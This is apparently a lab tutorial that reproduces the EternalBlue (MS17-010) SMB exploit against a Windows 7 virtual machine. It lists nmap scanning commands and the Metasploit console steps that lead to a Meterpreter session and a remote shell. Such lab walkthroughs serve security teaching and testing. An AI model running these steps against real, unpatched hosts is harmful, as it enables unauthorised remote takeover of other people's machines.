The MS17-010 vulnerability, commonly known as EternalBlue, is a critical remote code execution flaw in Microsoft’s Server Message Block (SMB) protocol implementation. Original developed by the NSA and later leaked, it gained global notoriety in 2017 when weaponized in the WannaCry ransomware outbreak. Unpatched Windows systems—particularly Windows 7—remain susceptible to exploitation.

Attack Overview

EternalBlue enables attackers to:

• Execute arbitrary code remotely via SMBv1.
• Propagate automatically across networks without user interaction.
• Deploy payloads such as backdoors, ransomware, or cryptominers.

This guide demonstrates a controlled reproduction of the exploit using Metasploit in an isolated virtual environment.

Lab Setup

• Attacker machine: Kali Linux 2024.1 (IP: 192.168.223.129)
• Target machine: Windows 7 SP1 (IP: 192.168.223.132)
• Both systems run inside VMware Workstation Pro with host-only networking.

Ensure both machines can communicate over the network before proceeding.

Reconnaisance

Begin by verifying network connectivity and identifying open services on the target:

# On Kali (as root)
ifconfig

:: On Windows
ipconfig

Next, scan the target for open ports:

nmap -v -sV 192.168.223.132

Confirm that port 445/tcp (SMB) is open. Then, perform a vulnerability-specific scan:

nmap --script=vuln -v 192.168.223.132

If the output indicates detection of ms17-010, the system is vulnerable.

Exploitation with Metasploit

Launch the Metasploit console:

msfconsole

Search for relevant modules:

search ms17-010

Select the primary exploit module (typically indexed as 0):

use 0
show options

Configure the required parameters:

set RHOSTS 192.168.223.132
set THREADS 8

Initiate the attack:

run

Upon successful explotiation, a Meterpreter session will be established. Gain direct command-line access to the compromised host:

shell

At this point, full system access to the Windows 7 target has been achieved through the EternalBlue vulnerability.